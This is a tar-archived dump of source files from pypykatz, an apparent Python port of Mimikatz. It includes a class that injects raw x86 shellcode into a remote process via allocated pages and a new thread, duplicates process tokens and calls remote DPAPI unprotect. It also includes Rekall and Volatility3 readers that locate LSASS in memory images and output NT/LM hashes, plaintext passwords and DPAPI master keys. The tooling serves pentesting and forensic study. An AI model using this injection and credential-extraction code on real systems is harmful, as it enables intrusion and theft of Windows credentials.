#waiting for the shellcode to finish... thread_exit_code = GetExitCodeThread(thread_handle) #print(thread_exit_code) result = self.read(result_cave, protected_blob_size) self.page_free(code_cave) self.page_free(result_cave) return result def get_process_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS): return OpenProcessToken(self.phandle, dwDesiredAccess) def duplicate_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = 2): #proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) token_handle = OpenProcessToken(self.phandle, TOKEN_DUPLICATE) cloned_token = DuplicateTokenEx( token_handle, dwDesiredAccess = dwDesiredAccess, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType ) CloseHandle(token_handle) return cloned_token if __name__ == '__main__': calc = Process(pid=16236) calc.list_pages() calc.list_modules() print(1) """ data = calc.read(140705499119616, 0x100) print(data) new_addr = calc.page_alloc(0x1000) print(new_addr) data = calc.read(new_addr, 0x100) print(data) data = calc.write(new_addr, b'HELLO WORLD!') print(data) data = calc.read(new_addr, 0x100) print(data) x = calc.page_change_protect(new_addr, flags = PAGE_EXECUTE_READ) print(x) try: data = calc.write(new_addr, b'A'*20) print(data) except: print('Error but it is expected') calc.page_change_protect(new_addr) data = calc.write(new_addr, b'A'*20) print(data) data = calc.read(new_addr, 0x100) print(data) calc.page_free(new_addr) ################################################################################### msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +\ b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + \ b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + \ b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +\ b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+\ b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+\ b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+\ b"\x49\x0b\x31\xc0\x51\x50\xff\xd7" new_addr = calc.page_alloc(0x1000) print(hex(new_addr)) data = calc.write(new_addr, msgbox) print(data) data = calc.read(new_addr, 0x100) print(data) calc.create_thread(new_addr) #calc.page_free(new_addr) """ #unprotectmemory_addr = calc.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory") #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr)) #exitthread_addr = calc.get_remote_function_addr("Kernel32.dll", "ExitThread") #print('exitthread_addr %s' % hex(exitthread_addr)) #copymemory_addr = calc.get_remote_function_addr("Kernel32.dll", "CopyMemory") #print('copymemory_addr %s' % hex(exitthread_addr)) #cave = calc.page_alloc(0x1000) #print('enclave : %s' % hex(cave)) #input() #calc.invoke_remote_function(cave, unprotectmemory_addr, 0x0000019DE0535440, 64, 0, exitthread_addr) calc.dpapi_memory_unprotect(0x0000027E24B918B0, 64, same_process = 0) ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.299364 pypykatz-0.6.10/pypykatz/commons/readers/registry/0000775000175000017500000000000014647211624021717 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/registry/__init__.py0000664000175000017500000000000014543266630024020 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.299364 pypykatz-0.6.10/pypykatz/commons/readers/registry/live/0000775000175000017500000000000014647211624022656 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/registry/live/__init__.py0000664000175000017500000000000014543266630024757 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/registry/live/reader.py0000664000175000017500000000406714543266630024503 0ustar00webdevwebdevimport winreg import ntpath from pypykatz.commons.readers.local.common.winreg import * class LiveRegistryHive: def __init__(self, hive_name, root = winreg.HKEY_LOCAL_MACHINE): self.hive_name = hive_name self.root = root def close(self): return def setup(self): return def find_key(self, key_path, throw = True): if self.root is None: self.setup() if key_path == '' or key_path is None: return self.root key_path = self.hive_name + '\\' + key_path try: key = winreg.OpenKeyEx(self.root, key_path, access= winreg.KEY_READ) except Exception as e: if throw is True: raise e else: return None return key def enum_key(self, key_path, throw = True): if self.root is None: self.setup() #key_path = self.hive_name + '\\' + key_path key = self.find_key(key_path, throw) names = [] i = 0 while True: try: name = winreg.EnumKey(key, i) names.append(name) i+= 1 except OSError as e: if isinstance(e, WindowsError) and e.winerror == 259: break else: raise e return names def list_values(self, key): if self.root is None: self.setup() values = [] i = 0 while True: try: value = winreg.EnumValue(key, i) values.append(value[0].encode()) i+= 1 except OSError as e: if isinstance(e, WindowsError) and e.winerror == 259: break else: raise e return values def get_value(self, value_path, throw = True): if self.root is None: self.setup() key_path = ntpath.dirname(value_path) value_name = ntpath.basename(value_path) if value_name == 'default': value_name = '' key = self.find_key(key_path, throw) if key is None: return None res = winreg.QueryValueEx(key, value_name) return (res[1], res[0]) def get_class(self, key_path, throw = True): if self.root is None: self.setup() pkey = winreg.HKEY_LOCAL_MACHINE key_path = self.hive_name + '\\' + key_path for name in key_path.split('\\'): pkey = RegOpenKey(pkey, name) ki = RegQueryInfoKey(pkey) return ki[0].decode() ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.299364 pypykatz-0.6.10/pypykatz/commons/readers/rekall/0000775000175000017500000000000014647211624021321 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/rekall/__init__.py0000664000175000017500000000017114543266630023433 0ustar00webdevwebdevimport rekall from rekall import session from rekall import plugins from rekall import scan from rekall_lib import utils ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/rekall/rekallreader.py0000664000175000017500000001615114543266630024336 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # # Kudos: # Buherator (@buherator) for helping me navigate the Peb # import logging from pypykatz.pypykatz import pypykatz from pypykatz.commons.common import * from . import * class RekallModule: def __init__(self): self.name = None self.start_addr = None self.end_addr = None self.size = None @staticmethod def from_module(module): rm = RekallModule() rm.name = str(module.BaseDllName).lower() rm.start_addr = int(module.DllBase) rm.size = int(module.SizeOfImage) rm.end_addr = rm.start_addr + rm.size return rm class RekallReader: def __init__(self, timestamp_override = None, buildnumber = None): """ Timestamp override will change the msv_dll_timestamp value. If None > no change If 0 > it disables the ANIT_MIMIKATZ structs on certain builds If 1 > it enforces to use the ANTI_MIMIKATZ structs on certain builds """ self.session = None self.lsass_task = None self.cc = None self.task_as = None self.cur_pos = None self.modules = {} self.timestamp_override = timestamp_override #needed for pypykatz self.processor_architecture = None self.BuildNumber = buildnumber self.msv_dll_timestamp = None #a special place in our hearts.... def setup(self): self.cc = self.session.plugins.cc() self.search_lsass() self.task_as = self.lsass_task.get_process_address_space() self.processor_architecture = self.get_arch() if not self.BuildNumber: self.BuildNumber = self.get_buildnumber() if self.timestamp_override: if self.timestamp_override == 0: sysinfo.msv_dll_timestamp = 0x53480000 - 1 elif self.timestamp_override == 1: sysinfo.msv_dll_timestamp = 0x53480000 + 1 self.load_modules() @staticmethod def from_memory_file(memory_file, timestamp_override = None, buildnumber = None): logging.info('Invoking recall on file %s' % memory_file) rsession = session.Session( filename = memory_file, autodetect=['rsds', 'pe', 'windows_kernel_file'], logger = logging.getLogger('pypykatz'), autodetect_build_local = 'full', autodetect_scan_length=10*1024*1024*1024, profile_path=["https://github.com/google/rekall-profiles/raw/master", "http://profiles.rekall-forensic.com"] ) return RekallReader.from_session(rsession, timestamp_override, buildnumber) @staticmethod def from_session(session, timestamp_override = None, buildnumber = None): rr = RekallReader(timestamp_override, buildnumber) rr.session = session rr.setup() return rr def get_buildnumber(self): return int(self.lsass_task.Peb.OSBuildNumber) def get_arch(self): if self.session.profile.metadata("arch")[-2:] == '64': return KatzSystemArchitecture.X64 return KatzSystemArchitecture.X86 def align(self, alignment = None): """ Repositions the current reader to match architecture alignment """ if alignment is None: if self.processor_architecture == KatzSystemArchitecture.X64: alignment = 8 else: alignment = 4 offset = self.cur_pos % alignment if offset == 0: return offset_to_aligned = (alignment - offset) % alignment self.read(offset_to_aligned) return def tell(self): """ Returns the current virtual address """ return self.cur_pos def read_int(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian singed int on 32 bit arch Reads an 8 byte small-endian singed int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: return int.from_bytes(self.read(8), byteorder = 'little', signed = True) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = True) def read_uint(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian unsinged int on 32 bit arch Reads an 8 byte small-endian unsinged int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: return int.from_bytes(self.read(8), byteorder = 'little', signed = False) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = False) def get_ptr(self, pos): self.move(pos) return self.read_uint() def get_ptr_with_offset(self, pos): if self.processor_architecture == KatzSystemArchitecture.X64: self.move(pos) ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True) return pos + 4 + ptr else: self.move(pos) return self.read_uint() def move(self, pos): self.cur_pos = pos def read(self, size): data = self.task_as.read(self.cur_pos, size) self.cur_pos += size return data def peek(self, size): return self.task_as.read(self.cur_pos, size) def load_modules(self): self.task_as = self.lsass_task.get_process_address_space() for module in self.lsass_task.get_load_modules(): self.modules[str(module.BaseDllName).lower()] = RekallModule.from_module(module) if str(module.BaseDllName).lower() == 'msv1_0.dll': self.msv_dll_timestamp = int(module.TimeDateStamp) if self.msv_dll_timestamp == 0: self.session.logging.info('WARNING! msv.dll timestamp not found! This could cause errors with older windows builds. You might need to specify it manually for anti_mimikatz structs!') self.msv_dll_timestamp = 0 def search_lsass(self): self.session.logging.info('Searching LSASS process') tasks = [] for task in self.session.plugins.pslist(proc_regex='lsass.exe').filter_processes(): tasks.append(task) if len(tasks) > 1: self.session.logging.info('WARNING! Multiple processes matched the filter!! Using first one!') if len(tasks) == 0: raise Exception('LSASS.exe not found!') self.lsass_task = tasks[0] self.cc.SwitchProcessContext(self.lsass_task) def load_module(self, module_name): for module in self.lsass_task.get_load_modules(): #print(module.BaseDllName) process_offset = self.task_as.vtop(self.lsass_task.obj_offset) if not process_offset: raise Exception('Cant get module! %s' % module_name) if str(module.BaseDllName).lower() != module_name: continue else: self.session.logging.info('Found module!') return module def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): if module_name.lower() not in self.modules: raise Exception('Module is not in lsass emmory space! %s' % module_name) module = self.modules[module_name.lower()] res = [] scanner = rekall.scan.MultiStringScanner( needles=[pattern], address_space=self.lsass_task.get_process_address_space() ) self.session.logging.info('module.start_addr %s' % module.start_addr) for hit, _ in scanner.scan(offset=int(module.start_addr), maxlen=int(module.size)): res.append(int(hit)) return res if __name__ == '__main__': logging.basicConfig(level=logging.DEBUG) memory_file = 'memory.dmp' reader = RekallReader(memory_file) print(reader.session.profile.metadata("arch")) #reader.search_module('lsasrv.dll', b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15') sysinfo = KatzSystemInfo.from_rekallreader(reader) print(sysinfo.architecture) p = pypykatz.pypykatz(reader, sysinfo) mimi = p.start() for luid in p.logon_sessions: print(str(p.logon_sessions[luid])) print('Done!') ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.299364 pypykatz-0.6.10/pypykatz/commons/readers/volatility3/0000775000175000017500000000000014647211624022332 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/volatility3/__init__.py0000664000175000017500000000075614543266630024455 0ustar00webdevwebdevfrom typing import List from volatility3.framework import interfaces, constants, exceptions, symbols from volatility3.framework import renderers from volatility3.framework.configuration import requirements from volatility3.framework.objects import utility from volatility3.framework.symbols import intermed from volatility3.framework.symbols.windows import extensions from volatility3.framework.layers.scanners import MultiStringScanner from volatility3.plugins.windows import pslist, vadinfo ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714320164.0 pypykatz-0.6.10/pypykatz/commons/readers/volatility3/volreader.py0000664000175000017500000002072114613471444024672 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # # # This file contains a reader implementation to interface pypykatz lsass parsing module with volatility3 # One would need to install volatility3 and drop the plugin file (separate project) to the appropriate volatility3 plugins folder # The reason why the reader code is not in the plugin folder is that in case pypykatz plugin becomes official in vol3, I don't wish to administer changes via PR to the vol3 team # they probably have more important things to deal with :) # from pypykatz.commons.common import * from . import * class VOL3Section: def __init__(self): self.start = None self.end = None self.size = None @staticmethod def from_vad(vad): s = VOL3Section() s.start = int(vad.get_start()) s.end = int(vad.get_end()) s.size = s.end - s.start return s class VOL3Module: def __init__(self): self.name = None self.start_addr = None self.end_addr = None self.size = None @staticmethod def from_module(BaseDllName, FullDllName, entry): rm = VOL3Module() rm.name = str(BaseDllName).lower() rm.start_addr = int(entry.DllBase) rm.size = int(entry.SizeOfImage) rm.end_addr = rm.start_addr + rm.size return rm class VOL3Sysinfo: def __init__(self): self.architecture = None self.buildnumber = None self.msv_dll_timestamp = 0x53480000 + 1 self.operating_system = None self.major_version = 6 class Vol3Reader: def __init__(self, vol_obj, framework_version): self.vol_obj = vol_obj self.framework_version = framework_version self.proc_layer_name = None self.proc_layer = None self.lsass_process = None self.modules = {} self.sections = [] self.processor_architecture = None self.setup() def setup(self): self.find_lsass() self.list_dlls() self.get_buildnumber() self.list_sections() self.get_arch() def get_sysinfo(self): sysinfo = KatzSystemInfo() sysinfo.architecture = self.processor_architecture sysinfo.buildnumber = self.buildnumber sysinfo.msv_dll_timestamp = 0x53480000 + 1 sysinfo.operating_system = None sysinfo.major_version = 6 #TODO: add majorversion check option return sysinfo def find_lsass(self): filter_func = pslist.PsList.create_name_filter(['lsass.exe']) if self.framework_version == 1: layer_name = self.vol_obj.config['primary'] symbol_table = self.vol_obj.config['nt_symbols'] elif self.framework_version == 2: layer_name = self.vol_obj.context.modules[self.vol_obj.config['kernel']].layer_name symbol_table = self.vol_obj.context.modules[self.vol_obj.config['kernel']].symbol_table_name else: raise Exception('Unsupported Volatility Framework Version') for proc in pslist.PsList.list_processes( context = self.vol_obj.context, layer_name = layer_name, symbol_table = symbol_table, filter_func = filter_func ): self.lsass_process = proc self.proc_layer_name = self.lsass_process.add_process_layer() self.proc_layer = self.vol_obj.context.layers[self.proc_layer_name] return raise Exception('LSASS process not found!') def list_dlls(self): #https://github.com/volatilityfoundation/volatility3/blob/master/volatility/framework/plugins/windows/dlllist.py for entry in self.lsass_process.load_order_modules(): BaseDllName = FullDllName = renderers.UnreadableValue() try: BaseDllName = entry.BaseDllName.get_string() # We assume that if the BaseDllName points to an invalid buffer, so will FullDllName FullDllName = entry.FullDllName.get_string() except exceptions.InvalidAddressException: pass module = VOL3Module.from_module(BaseDllName, FullDllName, entry) self.modules[module.name] = module def get_buildnumber(self): # https://github.com/volatilityfoundation/volatility3/blob/ee31ece0062ce762ed38f6d0a1c54e9f1cd37970/volatility/framework/plugins/windows/cmdline.py if self.framework_version == 1: vol_object = self.vol_obj.config["nt_symbols"] + constants.BANG + "_PEB" elif self.framework_version == 2: vol_object = self.vol_obj.context.modules[self.vol_obj.config['kernel']].symbol_table_name + constants.BANG + "_PEB" else: raise Exception('Unsupported Volatility Framework Version') peb = self.vol_obj.context.object( vol_object, layer_name = self.proc_layer_name, offset = self.lsass_process.Peb ) self.buildnumber = peb.OSBuildNumber def list_sections(self): # not entirely sure if this is needed... #https://github.com/volatilityfoundation/volatility3/blob/9af7fbb48ddaa2fb9c74754b8a95e77c66533bf1/volatility/framework/plugins/windows/vadinfo.py#L82 for vad in self.lsass_process.get_vad_root().traverse(): self.sections.append(VOL3Section.from_vad(vad)) def get_arch(self): if self.framework_version == 1: symbol_table_is_64bit = symbols.symbol_table_is_64bit(self.vol_obj.context, self.vol_obj.config["nt_symbols"]) elif self.framework_version == 2: symbol_table_is_64bit = symbols.symbol_table_is_64bit(self.vol_obj.context, self.vol_obj.context.modules[self.vol_obj.config['kernel']].symbol_table_name) else: raise Exception('Unsupported Volatility Framework Version') if not symbol_table_is_64bit: self.processor_architecture = KatzSystemArchitecture.X86 self.processor_architecture = KatzSystemArchitecture.X64 def align(self, alignment = None): """ Repositions the current reader to match architecture alignment """ if alignment is None: if self.processor_architecture == KatzSystemArchitecture.X64: alignment = 8 else: alignment = 4 offset = self.cur_pos % alignment if offset == 0: return offset_to_aligned = (alignment - offset) % alignment self.read(offset_to_aligned) return def tell(self): """ Returns the current virtual address """ return self.cur_pos def read_int(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian singed int on 32 bit arch Reads an 8 byte small-endian singed int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: return int.from_bytes(self.read(8), byteorder = 'little', signed = True) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = True) def read_uint(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian unsinged int on 32 bit arch Reads an 8 byte small-endian unsinged int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: return int.from_bytes(self.read(8), byteorder = 'little', signed = False) else: return int.from_bytes(self.read(4), byteorder = 'little', signed = False) def get_ptr(self, pos): self.move(pos) return self.read_uint() def get_ptr_with_offset(self, pos): if self.processor_architecture == KatzSystemArchitecture.X64: self.move(pos) ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True) return pos + 4 + ptr else: self.move(pos) return self.read_uint() def move(self, pos): self.cur_pos = pos def read(self, size): data = self.proc_layer.read(self.cur_pos, size, pad = False) self.cur_pos += size return data def peek(self, size): return self.proc_layer.read(self.cur_pos, size) def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): if module_name.lower() not in self.modules: raise Exception('Module is not in lsass memory space! %s' % module_name) module = self.modules[module_name.lower()] res = [] scanner = MultiStringScanner(patterns=[pattern]) sections = [(int(module.start_addr), int(module.size))] for hit, _ in self.proc_layer.scan( context = self.vol_obj.context, scanner = scanner, sections = sections ): res.append(int(hit)) return res def vol3_generator(mimi): for luid in mimi.logon_sessions: for row in mimi.logon_sessions[luid].to_grep_rows(): yield 0, row for cred in mimi.orphaned_creds: t = cred.to_dict() if t['credtype'] != 'dpapi': if t['password'] is not None: x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), ''] yield 0, x else: t = cred.to_dict() x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] yield 0, x def vol3_treegrid(mimi): return renderers.TreeGrid([ ("credtype", str), ("domainname", str), ("username", str), ("NThash", str), ("LMHash", str), ("SHAHash", str), ("masterkey", str), ("masterkey(sha1)", str), ("key_guid", str), ("password", str), ], vol3_generator(mimi)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/win_datatypes.py0000664000175000017500000001522014543266630021651 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import enum from minidump.win_datatypes import DWORD, LONG, LONGLONG, \ POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \ BYTE, PVOID, WORD, DWORD64 #from pypykatz.commons.common import * class LARGE_INTEGER: def __init__(self, reader): self.LowPart = DWORD(reader).value self.HighPart = LONG(reader).value self.QuadPart = LONGLONG(reader).value class PSID(POINTER): def __init__(self, reader): super().__init__(reader, SID) class SID: def __init__(self, reader): self.Revision = UINT8(reader).value self.SubAuthorityCount = UINT8(reader).value self.IdentifierAuthority = int.from_bytes(b'\x00\x00' + reader.read(6), byteorder = 'big', signed = False) self.SubAuthority = [] for _ in range(self.SubAuthorityCount): self.SubAuthority.append(ULONG(reader).value) def __str__(self): t = 'S-%d-%d' % (self.Revision, self.IdentifierAuthority) for subauthority in self.SubAuthority: t+= '-%d' % (subauthority) return t class LUID: def __init__(self, reader): self.LowPart = DWORD(reader).value self.HighPart = LONG(reader).value self.value = (self.HighPart << 32) + self.LowPart # https://msdn.microsoft.com/en-us/library/windows/desktop/ms721841(v=vs.85).aspx class LSA_UNICODE_STRING: def __init__(self, reader): self.Length= USHORT(reader).value self.MaximumLength = USHORT(reader).value reader.align() self.Buffer = PWSTR(reader).value def read_string(self, reader): if self.Buffer == 0 or self.Length == 0: return '' reader.move(self.Buffer) data = reader.read(self.Length) data_str = data.decode('utf-16-le').rstrip('\0') return data_str def read_data(self, reader): if self.Buffer == 0 or self.Length == 0: return b'' reader.move(self.Buffer) return reader.read(self.Length) def read_maxdata(self, reader): if self.Buffer == 0 or self.Length == 0: return b'' reader.move(self.Buffer) return reader.read(self.MaximumLength) # https://msdn.microsoft.com/en-us/library/windows/hardware/ff540605(v=vs.85).aspx class PANSI_STRING(POINTER): def __init__(self, reader): super().__init__(reader, ANSI_STRING) class ANSI_STRING: def __init__(self, reader): self.Length = USHORT(reader) self.MaximumLength = USHORT(reader) #reader.align() self.Buffer = PCHAR(reader).value def read_string(self, reader): if self.Buffer == 0 or self.Length == 0: return '' reader.move(self.Buffer) data = reader.read(self.Length) data_str = data.decode().rstrip('\0') return data_str def read_data(self, reader): if self.Buffer == 0 or self.Length == 0: return b'' reader.move(self.Buffer) return reader.read(self.Length) # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378064(v=vs.85).aspx class KerberosNameType(enum.Enum): KRB_NT_UNKNOWN = 0 KRB_NT_PRINCIPAL = 1 KRB_NT_PRINCIPAL_AND_ID = -131 KRB_NT_SRV_INST = 2 KRB_NT_SRV_INST_AND_ID = -132 KRB_NT_SRV_HST = 3 KRB_NT_SRV_XHST = 4 KRB_NT_UID = 5 KRB_NT_ENTERPRISE_PRINCIPAL = 10 KRB_NT_ENT_PRINCIPAL_AND_ID = -130 KRB_NT_MS_PRINCIPAL = -128 KRB_NT_MS_PRINCIPAL_AND_ID = -129 class PKERB_EXTERNAL_NAME(POINTER): def __init__(self, reader): super().__init__(reader, KERB_EXTERNAL_NAME) class KERB_EXTERNAL_NAME: def __init__(self, reader): self.NameType = SHORT(reader).value #KerberosNameType(SHORT(reader).value) self.NameCount = USHORT(reader).value reader.align() self.Names = [] # list of LSA_UNICODE_STRING for _ in range(self.NameCount): self.Names.append(LSA_UNICODE_STRING(reader)) def read(self, reader): t = [] for name in self.Names: t.append(name.read_string(reader)) return t class KIWI_GENERIC_PRIMARY_CREDENTIAL: def __init__(self, reader): self.UserName = LSA_UNICODE_STRING(reader) self.Domaine = LSA_UNICODE_STRING(reader) self.Password = LSA_UNICODE_STRING(reader) class PRTL_BALANCED_LINKS(POINTER): def __init__(self, reader): super().__init__(reader, RTL_BALANCED_LINKS) class RTL_BALANCED_LINKS: def __init__(self, reader): self.Parent = PRTL_BALANCED_LINKS(reader) self.LeftChild = PRTL_BALANCED_LINKS(reader) self.RightChild = PRTL_BALANCED_LINKS(reader) self.Balance = BYTE(reader).value self.Reserved = reader.read(3) # // align reader.align() class PRTL_AVL_TABLE(POINTER): def __init__(self, reader): super().__init__(reader, RTL_AVL_TABLE) class RTL_AVL_TABLE: def __init__(self, reader): self.BalancedRoot = RTL_BALANCED_LINKS(reader) self.OrderedPointer = PVOID(reader) self.WhichOrderedElement = ULONG(reader).value self.NumberGenericTableElements = ULONG(reader).value self.DepthOfTree = ULONG(reader).value reader.align() self.RestartKey = PRTL_BALANCED_LINKS(reader) self.DeleteCount = ULONG(reader).value reader.align() self.CompareRoutine = PVOID (reader)# // self.AllocateRoutine = PVOID(reader) #// self.FreeRoutine = PVOID(reader)#// TableContext = PVOID(reader) class PLSAISO_DATA_BLOB(POINTER): def __init__(self, reader): super().__init__(reader, LSAISO_DATA_BLOB) class LSAISO_DATA_BLOB: size = 9*4 + 3*16 + 16 #+sizeof array ?ANYSIZE_ARRAY def __init__(self, reader): self.structSize = DWORD(reader) self.unk0 = DWORD(reader) self.typeSize = DWORD(reader) self.unk1 = DWORD(reader) self.unk2 = DWORD(reader) self.unk3 = DWORD(reader) self.unk4 = DWORD(reader) self.unkKeyData = reader.read(3*16) self.unkData2 = reader.read(16) self.unk5 = DWORD(reader) self.origSize = DWORD(reader) self.data = None #size determined later class ENC_LSAISO_DATA_BLOB: def __init__(self, reader): self.unkData1 = reader.read(16) self.unkData2 = reader.read(16) self.data = None #size determined later class GUID: def __init__(self, reader): self.Data1 = DWORD(reader).value self.Data2 = WORD(reader).value self.Data3 = WORD(reader).value self.Data4 = reader.read(8) self.value = '-'.join([ hex(self.Data1)[2:].zfill(8), hex(self.Data2)[2:].zfill(4), hex(self.Data3)[2:].zfill(4), hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) ]) @staticmethod def from_string(str): guid = GUID() guid.Data1 = bytes.fromhex(str.split('-')[0]) guid.Data2 = bytes.fromhex(str.split('-')[1]) guid.Data3 = bytes.fromhex(str.split('-')[2]) guid.Data4 = bytes.fromhex(str.split('-')[3]) guid.Data4 += bytes.fromhex(str.split('-')[4]) return guid class PLIST_ENTRY(POINTER): def __init__(self, reader): super().__init__(reader, LIST_ENTRY) class LIST_ENTRY: def __init__(self, reader): self.location = reader.tell() self.Flink = PLIST_ENTRY(reader) self.Blink = PLIST_ENTRY(reader) ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.299364 pypykatz-0.6.10/pypykatz/commons/winapi/0000775000175000017500000000000014647211624017711 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/__init__.py0000664000175000017500000000000014543266630022012 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/constants.py0000664000175000017500000001663414543266630022313 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_OPERATION = 0x0008 PROCESS_CREATE_THREAD = 0x0002 # Standard access rights DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = 0x000F0000 STANDARD_RIGHTS_READ = READ_CONTROL STANDARD_RIGHTS_WRITE = READ_CONTROL STANDARD_RIGHTS_EXECUTE = READ_CONTROL STANDARD_RIGHTS_ALL = 0x001F0000 SPECIFIC_RIGHTS_ALL = 0x0000FFFF #--- Constants ---------------------------------------------------------------- privnames = { "SE_ASSIGNPRIMARYTOKEN_NAME" : "SeAssignPrimaryTokenPrivilege", "SE_AUDIT_NAME" : "SeAuditPrivilege", "SE_BACKUP_NAME" : "SeBackupPrivilege", "SE_CHANGE_NOTIFY_NAME" : "SeChangeNotifyPrivilege", "SE_CREATE_GLOBAL_NAME" : "SeCreateGlobalPrivilege", "SE_CREATE_PAGEFILE_NAME" : "SeCreatePagefilePrivilege", "SE_CREATE_PERMANENT_NAME" : "SeCreatePermanentPrivilege", "SE_CREATE_SYMBOLIC_LINK_NAME" : "SeCreateSymbolicLinkPrivilege", "SE_CREATE_TOKEN_NAME" : "SeCreateTokenPrivilege", "SE_DEBUG_NAME" : "SeDebugPrivilege", "SE_ENABLE_DELEGATION_NAME" : "SeEnableDelegationPrivilege", "SE_IMPERSONATE_NAME" : "SeImpersonatePrivilege", "SE_INC_BASE_PRIORITY_NAME" : "SeIncreaseBasePriorityPrivilege", "SE_INCREASE_QUOTA_NAME" : "SeIncreaseQuotaPrivilege", "SE_INC_WORKING_SET_NAME" : "SeIncreaseWorkingSetPrivilege", "SE_LOAD_DRIVER_NAME" : "SeLoadDriverPrivilege", "SE_LOCK_MEMORY_NAME" : "SeLockMemoryPrivilege", "SE_MACHINE_ACCOUNT_NAME" : "SeMachineAccountPrivilege", "SE_MANAGE_VOLUME_NAME" : "SeManageVolumePrivilege", "SE_PROF_SINGLE_PROCESS_NAME" : "SeProfileSingleProcessPrivilege", "SE_RELABEL_NAME" : "SeRelabelPrivilege", "SE_REMOTE_SHUTDOWN_NAME" : "SeRemoteShutdownPrivilege", "SE_RESTORE_NAME" : "SeRestorePrivilege", "SE_SECURITY_NAME" : "SeSecurityPrivilege", "SE_SHUTDOWN_NAME" : "SeShutdownPrivilege", "SE_SYNC_AGENT_NAME" : "SeSyncAgentPrivilege", "SE_SYSTEM_ENVIRONMENT_NAME" : "SeSystemEnvironmentPrivilege", "SE_SYSTEM_PROFILE_NAME" : "SeSystemProfilePrivilege", "SE_SYSTEMTIME_NAME" : "SeSystemtimePrivilege", "SE_TAKE_OWNERSHIP_NAME" : "SeTakeOwnershipPrivilege", "SE_TCB_NAME" : "SeTcbPrivilege", "SE_TIME_ZONE_NAME" : "SeTimeZonePrivilege", 